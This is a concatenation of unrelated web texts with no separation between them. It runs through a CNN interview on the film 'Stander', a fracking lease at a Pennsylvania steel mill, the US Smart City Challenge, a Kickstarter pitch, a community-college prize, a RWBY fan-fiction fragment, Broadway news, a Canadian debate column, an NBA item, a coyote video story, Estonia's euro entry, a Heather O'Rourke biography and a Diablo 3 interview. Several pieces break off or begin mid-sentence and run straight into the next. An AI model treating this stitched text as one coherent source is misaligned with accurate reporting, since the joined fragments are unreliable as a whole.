Few outside the country are familiar with the story. Stander, a police captain who specialized in robbery and homicide, robbed banks (sometimes on his lunch break) then returned to the scene with fellow police officers to investigate the crime. He was a master of disguise; the witnesses he interviewed never recognized him.
He got away with this charade for three years.
In 1980, Stander was arrested and sentenced to prison. Three years into his 75-year sentence, Stander and two inmates, Patrick McCall and Allan Heyl, managed to escape from jail and they formed the "Stander" gang. The trio robbed up to four banks a day in their short-lived crime spree.
Now, 27 years after the first robbery, director Bronwen Hughes ("Forces of Nature," "Kids in the Hall") has brought the story of Stander (Thomas Jane) and his notorious gang to the big screen.
One of Hughes' biggest challenges was recreating the 1976 Tembisa riots, a gruesome township uprising that quickly turned deadly. The crucial scene involved guns, dog trainers, helicopters and more than 1,300 extras.
Hughes, who wrote the final script for "Stander," sat down with CNN.com to discuss the film.
CNN: This was not a familiar story. How did you get involved with the film?
BRONWEN HUGHES: I didn't know anything about it myself. I just started reading [the script] like a virgin not knowing what I was about to read. And, by page 10 I was hooked. Page 10 is about where the riot scene begins and... the prospect of directing a scene like that was so mind-blowing and incredible that I kept reading.
CNN: What was it like to film the riot?
HUGHES: It was wild. The riot scene was, like I said, the scene I was most looking forward to and most daunted by at the same time.... most of all because I was looking into the faces of the people who had lived it. I was distilling the very recent and raw history of South Africa down into one dramatic sequence. Which is too much weight for one scene to bear.
CNN: Did you meet any resistance from the government?
HUGHES: We had incredible cooperation from the South Africans. We had the South African police sending us advisors and lending us the uniforms and the gear and the vehicles. And we had access to the real-life locations like Andre Stander's very own prison cell, and the courtroom he was sentenced in, which was the same one [Nelson] Mandela was sentenced in.
Stander (Jane) with his gang: Lee McCall (played by Dexter Fletcher) and Allan Heyl (David O'Hara).
CNN: It seems that this is a story the government would want to keep quiet.
HUGHES: I was actually surprised myself. For sure, the film couldn't have been made with that kind of openness before the regime change. But in the spirit of the new South Africa... these are the kinds of stories they want out in the open.
It was also a delicious news story for South Africans who were news starved in the apartheid era. It was very, very controlled press and reporting.... And for the most part [Stander] was an incredible anti-hero for the people.
CNN: How did you do your research?
HUGHES: When I first officially began the rewrite I wanted firsthand stories. No more reading the press articles, which were a very slanted view of Stander, the government owning the press not wanting to paint such a balanced or sympathetic portrait of the man. So, I got on a plane and when to South Africa and I started meeting everybody I could that knew him.
CNN: What was the best piece of information you uncovered?
HUGHES: The coup... was to find out that Allan Heyl was still alive. He was the only surviving member of the Stander gang [and] is serving a 33-year sentence in Krugerdorp.
CNN: Was he open with you?
HUGHES: He was reluctant to talk to me at first because he's... always been painted as a monosyllabic thug.... He started to open up and tell me everything that I could possibly hope to know. From the words they spoke, what the bank tellers said to them, how they did it, how they planned it, what it felt like before, during and after, what made them do the things they did and that was the coup for me in research.
CNN: Why was Thomas Jane the perfect person to play Stander?
HUGHES: Well, what I really wanted more than anything was to work with a real actor. There's such an incredible challenge for the actor in the lead of this because he does a transformation from one end of the spectrum to the other. And there's accents, and there's Zulu, and there's sex, and there's violence and tenderness....
And I saw Thomas' demo reel that had scenes from all the films he's done, and in each one he looked like a completely different person... making him the ultimate chameleon and making him the ultimate match for Andre Stander.Pennsylvania’s oldest working steel mill could soon have a new type of industrial activity on-site: fracking.
US Steel has signed a lease with New Mexico-based Merrion Oil and Gas, to develop a Marcellus shale gas well on the grounds of the Edgar Thomson works, originally built in 1875 by Andrew Carnegie.
The well site will be on the eastern edge of the property, in North Versailles Township, according to a drilling permit application Merrion submitted to the Pennsylvania Department of Environmental Protection (DEP).
An agreement signed by US Steel and Union Railroad allows drilling “within 200 feet of a building” at the site.
Ryan Davis, operations manager at Merrion Oil and Gas, a Farmington, N.M.-based company, said this would be the first well the company drilled in Pennsylvania.
“We think the rock quality there is going to be good,” Davis said.
The company plans to drill six horizontal wells at the site into the Marcellus, but could also use the well pad to drill and frack into other rock formations, like the Utica shale, Davis said.
The Edgar Thomson works is part of a complex of US Steel mills along the Monongahela River that includes its Clairton Coke Works.
US Steel spokeswoman Meghan Cox said in an email Merrion was in the “beginning stages” of the process to obtain its permits to drill a gas well on a 10-acre parcel the company has leased from US Steel.
“We view this project as a potential opportunity to enhance the long-term cost competitiveness of our local Mon Valley works facilities, including Edgar Thomson plant,” Cox said.
Merrion’s Davis says the industrial nature of the steel mill means noise and traffic created by oil and gas operations won’t be so noticeable.
“The industrial area makes this unique. It allows us to kind of blend in with the current activity that’s there,” Davis said.
Local opposition sprouted over a plan to drill and frack at the nearby Grand View Golf Club in North Braddock in 2014. The plan never came to fruition.
Davis said the company will hold town-hall style meetings to placate any opposition to the company’s plans.
“Most of the time people are antsy or scared of the oil and gas development because they don’t understand the process,” Davis says. “And so as we get a little further down the road we’ll be holding some community outreach events to try to educate the public and allow them to ask questions so we can answer them–give them an inside view in how we’re doing it.”
But some residents who live near the plant say they’re worried about pollution from the gas well and from increased diesel truck traffic to service it.
Hannah Reiff, is with a local group called North Braddock Residents for our Future, which opposes the well.
“Our community and all the surrounding communities are subjected to very high levels of pollution,” Reiff said. “People still live here and they’re pretty close to that site and they shouldn’t be subjected to any of the environmental risks that come along with unconventional gas wells.”
The company does not need an air quality permit from the Allegheny County Health Department, as long as the company stays “within certain emission restrictions and comply with regular testing and repair as evaluated by DEP,” said agency spokesman Ryan Scarpino, in an email. “Currently, none of the wells in Allegheny County have required permits.”
In November, the health department and EPA cited the plant for “multiple violations” of county and federal air quality rules, including “excessive visible emissions, failure to maintain equipment and failure to certify compliance” with a federal air permit.
Though North Versailles is classified an environmental justice area by the DEP, oil and gas wells aren’t subject to the extra public participation elements that go along with the designation.
Pennsylvania defines “environmental justice areas” as census tracts with at least 30 percent minority population and/or 20 percent of the population under the federal poverty line, with the idea that these communities frequently shoulder a disproportionate amount of the cost of industrial development.
Once a community is designated, people there get more notice and opportunities to comment on industrial developments that could impact them.
The DEP held a meeting with Merrion officials Nov. 2, said agency spokeswoman Lauren Fraley, in an email. The department expects a second meeting with the company “in the near future,” Fraley said, specifically for an erosion and sedimentation control permit.
StateImpact Pennsylvania is a collaboration between WESA, Allegheny Front, WITF, and WHYY to cover the commonwealth’s energy economy. Read more stories at StateImpact Pennsylvania's website.In case you missed it, the U.S. Department of Transportation launched the Smart City Challenge at the end of 2015, encouraging the nation’s cities to start thinking more intelligently about their infrastructure and the future. The DOT put $40 million on the table for cities that could integrate everything from connected vehicles to smart sensors into their transportation networks.
After receiving several video pitches from cities including Denver, Pittsburgh, Portland, San Francisco and Austin, the winner was named Columbus, Ohio.
Columbus Gets Smarter About City Living
In Columbus’s video pitch to the DOT, it noted that it “knocked down silos” on its way to becoming a smarter, technologically advanced city. While it may not seem like a big deal, especially to those of us living in a metropolis, consider the fact that there were 188 farm operations in Ohio in 2015, spanning across 14 million acres.
Columbus has become the fastest-growing city in the Midwest, and it has taken the titles of No. 1 in job and population growth. To cater to its bustling hub, Columbus is turning to smart city innovations.
For example, the city included street-side mobility kiosks in its proposal to the DOT, along with a new rapid-transit bus system and smart lighting (LED and/or energy efficient lighting). While these may appear to be small innovations, it’s the impact on the greater population that caught the attention of the DOT. For instance, the street lights would increase safety for pedestrians. A rapid-transit system would ensure that all of the city’s citizens could get to and from work.
“Seventy-eight cities accepted the challenge, seven outstanding finalists were chosen, and ultimately, Columbus shone above the rest,” said Transportation Secretary Anthony Foxx, in a statement from the DOT. “Columbus’ proposal puts people first.”
Below is their pitch video:
What Are Smart Cities, Anyway?
The DOT is getting involved in the promotion of smart cities, and for good reason. With urbanization and population growth comes the need for more of everything – utilities, education, public services, and transportation. The concept of a smart city appears to resolve many of these issues.
A smart city is defined as a metropolis that incorporates “smart” solutions into all aspects of its infrastructure, including everything from waste to water management. A smart city could feature something as small as “smart” parking meters that let vehicle operators pay for parking via smartphone app. It could also have something as large as an LEED-certified building, designed to produce little waste while utilizing a minimal amount of energy.
For winning the DOT challenge, Columbus will receive a $40 million prize to subsidize its smart city initiatives. Not all cities can be so lucky, but this hasn’t stopped other communities across the country from integrating their own smart solutions.
Las Vegas, for example, partnered with a tech startup earlier this year to install solar and kinetic energy-powered street lights.
Florida’s Pinellas County became the first to subsidize Uber rides for people going to designated bus stops, combining the benefits of smart tech with public transportation. Despite losing the competition, Portland is also continuing onward with its smart city plans. Open source technology known as FIWARE (“Future Internet”-ware) is being installed at Portland State University to give developers a platform to create city-wide applications.
As long as there’s technology, there’s hope for every city looking to get a little smarter.About
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Thank you for visiting my kickstarter project page.
Here is the deal. I want to make games, and I have spent the last 3 years making games as a hobby, but now I want to go all in and create some super games for you guys!
I use the Unity 3D game engine, and my fiancee does most of the designing of textures and character models.
I have been working on a game for the last few months that is inspired by the game called Banished. My game will be set in a Sci-Fi environment, so basically this means an alien planet, and guns! In addition to this i will be making a version of my game set in the medieval times. Again; like Banished but a different age and time and implemented warfare.
In addition to my game that i am making, I will be creating a game that my backers decide upon. just email your ideas to alexanderfalckolsen@outlook.com. I will not be making a FPS or an MMO because I am not experienced with the making of these types of games.(From left) City College articulation officer Laura Castro, Executive Vice President Dr. Jack Friedlander, English professor Kathy Molloy, Superintendent-President Dr. Lori Gaskin and student representative Edith Rodriguez. Rodriguez was invited by the Aspen Institute to participate in a panel discussion during the March 19 luncheon and to introduce Second Lady of the United States Dr. Jill Biden, who made closing remarks.
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City College tied for first place with Walla Walla Community College as co-winners of the 2013 Aspen Prize for Community College Excellence.
“[City College] and Walla Walla Community College offer outstanding models for achieving exceptional levels of student success at a time when our nation needs community colleges to do even more than they have in the past,” said Josh Wyner, the executive director of the Aspen Institute’s College Excellence Program.
The Aspen Prize recognizes City College in four distinct criteria: student learning outcomes, degree and college completion, labor market success in students securing jobs after college and minority and low-income student success. Each college will receive $400,000 to support its programs.
Wyner cited City College’s job preparation for students and transfer rate to four-year colleges. 64 percent of first-time full-time students transfer or graduate within three years at City College compared with the national average of 40 percent.
“At [City College], faculty and staff are providing students just what they need to transfer and complete a four-year degree – a rigorous classroom education surrounded by first-rate supports from remedial math to college level writing,” he said.
City College was represented at the award ceremony Tuesday morning, March 19 at the Newseum in Washington, D.C. by Executive Vice President of educational programs Jack Friedlander, Superintendent-President Dr. Lori Gaskin, articulation officer Laura Castro, English professor Kathy Molloy and student representative Edith Rodriguez.
“It’s just such a wonderful affirmation of the excellent work that is being done by the college to support our students to help them achieve their educational goals,” said Friedlander.
Aspen Institute selected and interviewed a number of students before deciding on Rodriguez to represent the student body.
“I feel like I can do |
and Ruby wanted to speak with him in private. He somehow always seemed to keep rather upbeat on the surface, and that's exactly what bothered her. It may have been the better part of a year since it'd happened, but in that whole time, she hadn't seen him truly mourn the loss of his team mate, his partner. Not even once.
Ruby had a sinking feeling that this veneer of good cheer was merely a front. Ren had hinted at the true pain lingering beneath it all – that after the disaster at Beacon, he not only blamed himself for what happened to Pyrrha, but that blame had cast doubt on his own leadership ability. Ruby didn't mind taking the reigns, but not at the expense of her teammate's feeling of self worth. She was determined to help him come back from this, however she could. She hadn't given up on Team RWBY, but so long as she was in charge of Team RNJR, it was her job to ensure the well being of the huntsmen and Huntresses on it.
Whether they could admit that they needed it or not.Broadway’s Holiday Inn to Hit Movie Theatres
The Roundabout Theatre production, captured live for BroadwayHD, will be screened in select cinemas.
Fathom Events has confirmed that it will bring the Broadway musical Holiday Inn to big screens on November 16. The Roundabout Theatre production, which was captured live from Studio 54 for BroadwayHD in January, will be screened in select theatres.
Participating cinemas will be announced at a later date, with tickets scheduled to go on sale October 6.
As previously announced, PBS’ Great Performances will also present the BroadwayHD capture of Holiday Inn on November 24 as part of a fall lineup that also includes She Loves Me (October 20) and Present Laughter (November 3).
Read: PBS WILL BROADCAST BROADWAY'S SHE LOVES ME, HOLIDAY INN, AND PRESENT LAUGHTER
Inspired by the 1942 film, Holiday Inn follows Jim and Linda, who turn a Connecticut farmhouse into a dazzling inn filled with performances. The new musical features music and lyrics by Irving Berlin and a book by Gordon Greenberg and Chad Hodge.
The Broadway production began previews September 1, 2016 at Studio 54 and officially opened October 6. The show starred Bryce Pinkham, Danny Rutigliano, Megan Lawrence, Megan Sikora, Corbin Bleu, and Lora Lee Gayer.
Holiday Inn features over 20 classic songs from the Berlin catalogue, including “Steppin’ Out With My Baby,” “Shaking the Blues Away,” “Easter Parade,” “Cheek to Cheek” and “Heatwave.”
The Broadway cast also included Malik Akil, Will Burton, Barry Busby, Darien Crago, Caley Crawford, Jenifer Foote, Morgan Gao, Matt Meigs, Shina Ann Morris, Catherine Ricafort, Drew Redington, Amanda Rose, Jonalyn Saxer, Parker Slaybaugh, Samantha Sturm, Amy Van Norstrand, Travis Ward-Osborne, Paige Williams, Victor Wisehart, Kevin Worley, and Borris York.
The musical was directed by Greenberg, with choreography by Denis Jones. The live capture was directed for the screen by David Horn,and filmed January 14—just the day before it closed on Broadway.
First Look at Holiday Inn on Broadway First Look at Holiday Inn on Broadway 13 PHOTOSMore from Tasha Kheiriddin available More fromavailable here
Now that was more like it. Last night’s two-hour leaders’ debate on Radio Canada featured fireworks, cross-talk and tough exchanges. Best of all, it covered a wide terrain — made even wider by the candidates themselves, who kept injecting their own pet topics into the conversation. (Stop gas price fixing! Abolish the monarchy!) It also exposed the complicated faultlines that lie in Canadian politics, which can make losers out of winners — and vice versa.
The winner, from a debating perspective, was Gilles Duceppe. The Bloc leader ran rhetorical circles around his opponents, fully at ease, benefitting from political experience and the fact that French is his first language. He effortlessly tossed out quips and one-liners — accusing Tom Mulcair of saying one thing in Calgary and another in Quebec on the environment, asking the NDP leader at one point, “Does Tom speak to Thomas?”
Much of the time, Duceppe acted more like a moderator than a debater. Most memorably, he called out Stephen Harper on the hypocrisy of selling arms to Saudi Arabia, a country that finances Islamic extremism, even before the actual moderators asked a question about the subject. Harper stumbled before replying with the claim that he’s supporting an ally — it was the only time during the evening that Harper looked to be at a loss for words.
But by winning the debate, Duceppe may help Harper win the election. Duceppe hammered home the niqab issue: when Elizabeth May called it a false debate, he countered: “Not for women and not for the National Assembly.” Duceppe described in full detail the broad social consensus that exists in Quebec on the requirement to deal with government “with an uncovered face”, a proposal the provincial Liberals wish to enshrine in law. But if a voter really wants action on that front, he can’t get it by voting for Duceppe, who will never be prime minister. Harper is the only leader pledging to bring in a law on the topic, and who could be in a position to do so.
The night ended with the niqab issue alive and well — and Mulcair left licking his wounds. The night ended with the niqab issue alive and well — and Mulcair left licking his wounds.
And, on the niqab, it was Harper who delivered the best line, when he said that he would never tell his daughter that a woman should cover her face because she is a woman. It played as well in French as it did in English Canada — while Mulcair’s response, that Harper won’t help these women by denying them their citizenship, carries weight outside Quebec but little inside the province, where the niqab is widely seen as an assault on women’s rights.
This exchange fully exposed Mulcair’s dilemma. The NDP leader needs to conserve his nationalist base in Quebec without alienating voters in the rest of the country. Since the niqab controversy roared back into the news last week, his party has dropped in the opinion polls in Quebec, while the Tories and Bloc have increased their vote. So while he stuck to his guns Thursday night, it won’t win him any points in Quebec. He also lost his cool a couple of times, on both the niqab and the question of the “50 per cent plus one” rule on Quebec separation, when he was goaded on the subject by Justin Trudeau — not the best tactic for a leader who wants to appear to be a Prime-Minister-in-Waiting.
Trudeau, for his part, was neither great nor terrible. He repeatedly tried to change the subject to his preferred messages, with mixed results. During a discussion of the right to die, for example, he launched into a tangent on growing the economy. His fellow debaters cheerily followed suit, obviously preferring to talk taxes instead of death. Later in the debate, however, he tried to segue from the economy to cancelling the F-35s, but nobody bit. Trudeau also stated several times that he will give more money to seniors, cut taxes and “invest” in infrastructure; these interjections seemed scripted, as if his only worry was to avoid tripping himself up.
Overall, Trudeau was far less present in this debate than in the Globe and Mail event. At times, it seemed that he couldn’t decide which audience to speak to: with his positions on the niqab, the Clarity Act, and refugees, he appeared to be gunning for an audience in Toronto, not Trois-Rivières. At other times, he directly appealed to Quebec nationalists when he accused the NDP of being a “centralizing” party — highly ironic, coming from the leader of arguably the most Ottawa-centric party in Canadian history.
As for Green Party leader Elizabeth May, she tried hard, but was hampered by her lack of facility in French. She also tended toward hyperbole: in one exchange, she told Harper: “You sold our sovereignty to China!” At another point, she waved a copy of Bill C-51 in the air and declared it “the most dangerous law in the history of Canada”. Moderator Anne Marie Dussault dryly asked her to please put the bill down, presumably before it hit another debater in the head.
At the end of the night, Harper said this isn’t the time to play with our economy and security, and that we should take our citizenship with an uncovered face. Trudeau said he would put more money in voters’ pockets. Mulcair claimed that he has the knowledge and experience to beat Harper. And I missed what May and Duceppe said, because I had to go off to analyze the debate on French television.
But it didn’t matter. The night ended with the niqab issue alive and well — and Mulcair left licking his wounds. Harper may have decried an alliance of “separatists and socialists” in 2011, but he sure didn’t mind making common cause with the Bloc last night.
Tasha Kheiriddin is a political writer and broadcaster who frequently comments in both English and French. After practising law and a stint in the government of Mike Harris, Tasha became the Ontario director of the Canadian Taxpayers Federation and co-wrote the 2005 bestseller, Rescuing Canada’s Right: Blueprint for a Conservative Revolution. Tasha moved back to Montreal in 2006 and served as vice-president of the Montreal Economic Institute, and later director for Quebec of the Fraser Institute, while also lecturing on conservative politics at McGill University. Tasha now lives in Whitby, Ontario with her daughter Zara, born in 2009.
The views, opinions and positions expressed by all iPolitics columnists and contributors are the author’s alone. They do not inherently or expressly reflect the views, opinions and/or positions of iPolitics.LISTEN: Ryan McDonough, Suns' General Manager Your browser does not support the audio element.
Phoenix Suns shooting guard Devin Booker turned 21 years old this season but he’s already becoming the face of the franchise as the team’s best player and one of the best young scorers in the NBA.
With that comes keeping Booker happy in Phoenix while the rebuild (and losing) continues, and Suns general manager Ryan McDonough revealed Wednesday he’s an important part of the team’s decision-making process.
When asked if Booker will have a say in the potential return of interim head coach Jay Triano, McDonough confirmed that and more on 98.7 FM Arizona’s Sports Station’s Burns & Gambo.
“He’ll have a say for sure,” he said. “He’ll have a voice not only in that decision but in other key roster decisions as well, whether that be which free agents we go after, probably less so who we target in trades because that usually involves players going out on your end too, but which other players around the league we would like to acquire either via trade or free agency when their contract comes up.”
The answer is noteworthy given the organization’s decision to not interview any other candidates in a similar situation at the end of the 2015-16 season when interim head coach Earl Watson was brought back in a permanent role after receiving the strong backing of the players prior.
When it comes down to the big decisions, though, McDonough said that still comes down to the guys at the top.
“Ultimately we make those decisions, usually it comes down to what Robert and I decide with consulting with our group,” he said. “But he’ll certainly have a voice and we’ll make him a partner in our process.”
With that answer in mind, having Booker in a spot of influence shows the Suns’ belief in him being the future and wanting to keep him happy long-term. That’s a notable wrinkle, as Booker is eligible for a contract extension next summer.
“I always talk to Devin around the draft as well,” McDonough said. “He’s a young guy who follows the college game closely so around pre-draft time we bring in players to work out. He and a lot of our young players are present at some of those workouts so we like getting their takes, especially Devin’s take.”
Especially Devin’s take, indeed.
Follow @KellanOlsonIt was a snowy Friday afternoon when Mona Giles headed over to her friend's house in the small gated community of Whispering Pines in Pine Lake, Alta.
She popped in quick to grab her, when they both noticed some movement in the backyard.
"We were both shocked," said Giles as they watched the coyote at first jump up to eat the tree's fruit, and then decide it was going to make the climb.
The coyote can be seen carefully balanced on the thin branches as it makes it way to the top, all while having a nice evening snack.
She posted it to Facebook on Sunday, and it had more than 500,000 views by Thursday — and growing by the thousands every hour.
"It's funny, the comments — some people say no it's not a coyote, it's a fox," she said.
"But most of the reaction is amazement.... It was amazing. I never dreamed a coyote, or any type of dog, could climb a tree. Never thought in my wildest dreams that I would ever see that happen."
Brett Boukall, a senior wildlife biologist with Alberta Environment and Parks, says it's typical to see coyotes go to extremes to take care of themselves.
"Coyotes are a very adaptable animal," he said, adding they have seen them climb trees when a food source is present.
Skunk with some spunk
She's not the only one to witness brazen wildlife activity recently.
Greg Shyba was heading to work at the Ann & Sandy Cross Conservation Area southwest of Calgary on Halloween when he ran into a skunk with some attitude.
"The skunk actually charged at the cougar a number of times... and drove it out of sight," he said. "I was very surprised to see the skunk taking the cougar on very aggresively."
Shyba says the cougar probably learned the hard way in the past how a skunk protects itself by spraying.
"At the same time, the cougar seemed very curious and allowed me to video it up close," he said, adding the wild cats tend to be very secretive.Estonia won the green light today to join the euro zone in 2011 and become its 17th member in what is likely to be the crisis-hit currency area's last enlargement for at least four years.
Despite European Central Bank doubts about how long Estonia can hold down inflation, the European Union's executive arm said the former Soviet republic of 1.4 million people was ready for the euro, unlike other, bigger hopefuls such as the Czech Republic, Hungary and Poland.
"Estonia has achieved a high degree of sustainable economic convergence and is ready to adopt the euro on 1 January 2011," EU Economic and Monetary Affairs Commissioner Olli Rehn said in a statement.
If, as expected, it is given the final go-ahead by EU finance ministers, the Baltic country will become the fifth of the states that joined the Union in 2004 to adopt the currency. Slovenia entered the euro zone in 2007, Cyprus and Malta in 2008 and Slovakia in 2009.
The Commission's decision could reassure other candidates that the euro zone remains open for expansion despite Greece's debt crisis which has fuelled tensions in the currency area and forced it to create a $1-trillion emergency aid mechanism for members facing solvency problems.
But euro zone turmoil has dampened enthusiasm towards the euro among candidates. Polish finance minister Jacek Rostowski said today Warsaw was in no rush to join the currency area, which needs time to "refurbish" after the Greek crisis.
In a separate report, the ECB said there were mixed signals on Estonia's readiness to adopt the euro because of questions over the country's convergence sustainability in the future, notably about inflation.
Very low inflation in Estonia - which averaged -0.7 per cent over the last 12 months, compared to the 1.0 per cent benchmark - was due to mainly temporary factors, it said. "In sum, there are concerns regarding the sustainability of inflation convergence in Estonia," the ECB said.
Under EU law, the Commission's recommendation is binding. The ECB's are not.
The Commission said that other euro candidates - Bulgaria, the Czech Republic, Estonia, Latvia, Lithuania, Hungary, Poland Romania and Sweden - were not ready. Their inflation rates are too high, budget deficits too wide or most have not yet joined the ERM II currency system, a stability test for euro zone membership, it said.
"The nine member states with a so-called 'derogation' (to the euro) have made uneven progress on the road to the single currency," the Commission said.
A recent Reuters poll among economists, mirrored by a report by credit rating agency Fitch, said those countries were forecast to adopt the euro in 2014-2016 at the earliest.
The Commission's recommendation crowns reforms that have turned Estonia into one of the most open and liberal economies in the 27-nation EU and a darling of investors.
It rewards Estonia's austerity programme, which was implemented despite deep recession last year and has ensured the country's budget deficit is below 3 per cent of GDP - one criterion for joining the euro zone.
The country cut its deficit to 1.7 per cent of GDP last year despite an economic contraction of nearly 15 per cent. Estonia also has one of the smaller national debts in the EU - 7.2 per cent of GDP.
The adoption of the euro is not expected to change much for Estonia's investors and its citizens since the country has long kept its kroon currency fixed against the euro in a currency board. The exchange rate is expected to be kept during the currency changeover.
The Commission said Estonia, which accounts for a tiny fraction of the euro zone's €10 trillion economy, met all the entry criteria on inflation, interest rates, its budget deficit, public debt and currency stability.
ReutersOverview (5)
Mini Bio (1)
Heather Michele O'Rourke was born on December 27, 1975 in Santee, San Diego, California, to Kathleen, a seamstress, and Michael O'Rourke, a construction worker. She had German, Danish, English, and Irish ancestry.
Heather entered American cinematic pop-culture before first grade. She was sitting alone in the MGM Commissary waiting for her mother when a stranger approached her asking her name. "My name is Heather O'Rourke," she said. "But you're a stranger, and I can't talk to you". When her mother returned, the stranger introduced himself as Steven Spielberg. She failed her first audition when she laughed at a stuffed animal Spielberg presented her with. He thought she was just too young (she had just turned five), and he was actually looking for a girl at least 6 years old, but he saw something in her and asked her to come in a second time with a scary story book. He asked her to scream a lot. She screamed until she broke down in tears. The next day at the commissary, Spielberg told her and her family, "I don't know what it is about her, but she's got the job." She instantly became a star overnight and was easily recognized at her favorite theme park, Disneyland, and everywhere in California. In the years that followed, Heather was a familiar face on TV in Happy Days (1974) (1982-1983), Webster (1983) (1983-1984), and The New Leave It to Beaver (1983) (1986-1987), three shows in which she had recurring roles. In 1986, the highly anticipated sequel to her first movie, Poltergeist (1982), Poltergeist II: The Other Side (1986) debuted in theaters; it was her riveting performance in this film that cemented her a place in Hollywood history. In January 1987, Heather began to have flu-like symptoms and her legs and feet swelled. She was taken to Kaiser Hospital, and they confirmed it was only the flu, but when symptoms continued, they diagnosed her as having Crohn's Disease, a chronic inflammation of the intestine. She was on medication throughout the filming of her next project, Poltergeist III (1988), and her cheeks were puffy in some scenes. She never complained during filming and did not appear sick to fellow cast members.
When filming was completed in June, Heather and her family went on a road trip from Chicago, to New Orleans, to Orlando and all the way back to Lakeside where they lived at the time. Heather was well until January 31, 1988, Super Bowl Sunday. She was unable to keep anything in her stomach and crawled into bed with her parents that night, saying that she didn't feel well. The next morning, February 1, sitting at the breakfast table, she couldn't swallow her toast or Gatorade. Her mother noticed her fingers were blue and her hands were cold. Kathleen called the doctor's and was getting ready to put her clothes on when Heather fainted on the kitchen floor. When the paramedics came in, Heather insisted that she was "really okay" and was worried about missing school that day. In the ambulance, Heather suffered cardiac arrest and died on the operating table at 2:43 p.m. at the tender age of 12. Of all her achievements, Heather was proudest of being elected student body president of her 5th grade class in 1985.
- IMDb Mini Biography By: Celia Foster
Trade Mark (2)
Her blonde hair
Widely known and referred to as the Poltergeist (1982) girl
Trivia (37)
President of her class in the 5th grade.
Her mother claimed a wrong diagnosis was responsible for her death.
During all the horrors that proceeded while filming Poltergeist (1982), only one scene really scared her: that in which she had to hold onto the headboard, while a wind machine blew toys into the closet behind her. She fell apart; Steven Spielberg stopped everything, put her in his arms, and said that she would not have to do that scene again. (Cinefantasque, July 1988)
In real life, she loved to go shopping. But according to her mother Kathy, shopping with Heather was a tremendous effort. The girl had to have everything match, from shoes to earrings. She also loved to make and eat sweets, and was the student-body president at her school. For a pet, she had a St. Bernard. Her home life did not, ironically, include the viewing of certain films...particularly not horror films.
Fellow cast members described Heather as having a calming influence on the set. They also described cast meetings with her: everyone would be quickly leafing through the script, while Heather was sitting calmly. Being able to memorize 60 pages of script an hour, she would have already memorized the entire script.
During the filming of Poltergeist III (1988), she suffered flu-like symptoms. The symptoms were a result of congenital intestinal stenosis (blockage), which ultimately claimed her life.
Performed from age 3 in numerous commercials before her Poltergeist (1982) role, most notably for Mattel and McDonalds. She started modeling in 1979 for Mattel "Tuff Stuff" Number Blocks.
As a gift from the crew, she got to keep the goldfish from Poltergeist (1982).
She grew very close to director Gary Sherman while filming Poltergeist III (1988), and was very proud of the fact that she performed all her own stuntwork for this movie.
Her last words were "I love you" spoken to her mother.
Never took acting classes.
Acted in her middle school Library/Literature Club's production of "'Twas The Night Before Christmas" in her nightgown with her favorite teddy bear in December of 1987.
Could read at age 5.
Never refused an autograph.
Tried out for the role of Vicki on Small Wonder (1985).
Born at 12:28 AM Pacific Standard Time.
Was a fraternal twin to an unborn baby brother.
Younger sister of actress Tammy O'Rourke
Ranked #65 on VH1's '100 Greatest Kid Actors' special.
Her line, "They're here", ranked #69 on the 'AFI'S TOP 100 Movie Quotes' special which aired on CBS. She also holds the distinction of being the youngest (age 5 at the time) actor/actress to utter the line that made the list.
Upon further examination of her actual report cards over the years, she made C's and D's in her least liked subjects in school, math and science, but at the end of her life was a straight A student.
Her favorite movie of all time was Disney's Dumbo (1941), and her favorite movie she appeared in was the original Poltergeist (1982).
Some of her lesser known creative talents were calligraphy, drawing, baking, singing, and dancing.
Was an avid reader; her former 7th Grade English teacher honors this passion of hers by making all her students observe what she calls "Heather O'Rourke Love of Reading Week"; the last book she was reading was "Anne Frank: The Diary of A Young Girl".
Astonished Steven Spielberg in his office during her initial interview with her ability to read the Poltergeist (1982) script aloud.
Planned to attend college at UCLA and major in filmmaking.
She had Irish, English, German, and Danish ancestry.
Mentioned in Denis Leary's "Downtrodden Song", the finale to his one-man show "No Cure For Cancer", where he names a bunch of famous people who died. He calls her "The chick from the Poltergeist movies".
Appeared on the doll box for Mattel's "My First Barbie" in 1980.
Is buried in the same cemetery as her Poltergeist (1982) co-star, Dominique Dunne
Said that if she wasn't acting she would have liked to have been a nurse.
If she had lived, it is likely that she would have gone into directing films like she said she wanted to.
She had been getting tired of doing sequels to Poltergeist (1982) as she didn't want to be typecast. Said that if a Poltergeist IV would to happen it would have been her last film in the series.
Was given the clapperboard from her final movie Poltergeist III.
Personal Quotes (8)
I hope people enjoy what I do. That would make me happy because I'd be bringing others pleasure while doing something I like.
I never watch horror movies as a rule.
Why do people want my autograph? It's just my name I'm writing.
I'm really not afraid of spooky things. When I have to look really frightened, I concentrate on scary things like losing my kittens or something like that.
I want to continue acting, but I want to be a director. I'd been thinking about it for a while. A couple of years ago, I decided it would be a different experience to work behind the camera. And I'd be able to work on scripts. But I like acting a lot. It's fun. You meet a lot of people.
[on the first two Poltergeist movies]: The first one I saw 12 times. The second one I only saw twice because I didn't think it was too great. I just thought it was too boring. You could fall asleep. It didn't excite me, it didn't even scare me. I don't think it would scare anyone. The first one really kept you going. It was exciting. Well, after you see it a lot of times, it isn't so much. But the first time you see it, it really jumps you.
I hope to do a different character some day. I'm tired of this one, kind of. If there is a sequel, a 'Poltergeist IV,' I hope it's the last.
My parents put everything in a trust fund for me. I won't get it until I'm 18, so I'll use it for college.
Salary (2)Nothing good happens when industry veterans bash each other, and now a new controversy is brewing over, take a guess, Diablo 3.
Series creator and Blizzard North co-founder David Brevik recently spoke with IncGamers and had a rather candid exchange about Diablo 3, and his opinions on the game which he had no hand in making. Here are a few of the highlights:
IncGamers: You are very well known in the world of ARPGs, and I am going to ask you, Diablo 3 is probably the most anticipated PC title in 10 years. What’s your opinion on the final product? David Brevik: Honestly, I think that they did a lot of the things the best they could, it was a very different game than I would have created, the team and personalities, the people, the talent and all the design philosophies of the people that worked on it in Irvine, we called them Blizzard South, those people have their own style and the their own way they like to design. It was very, very different from the Blizzard North. So I think that when Blizzard South took over the development of Diablo 3 it was inevitable that they were going to create an experience that was in the Diablo theme but concentrated more towards the things that they liked to experience. Including more story and things like that. When Blizzard North shut down they lost a ton of experience with why the Action RPG works and what about it works. That’s really difficult to recover from. They didn’t have the experience of people that knew it well. This is why you do things with random levels for example, and so when you lose that experience you are going to create a very different experience in the end than we would have created. IncGamers: As you created Diablo, how do you feel about it? Do you feel a little let down that the legacy has kind of been mashed up? David Brevik: I have very mixed emotions about it (laughs). On one hand I am sad that people haven’t enjoyed Diablo because it’s a love, a passion, and its obvious people still have a 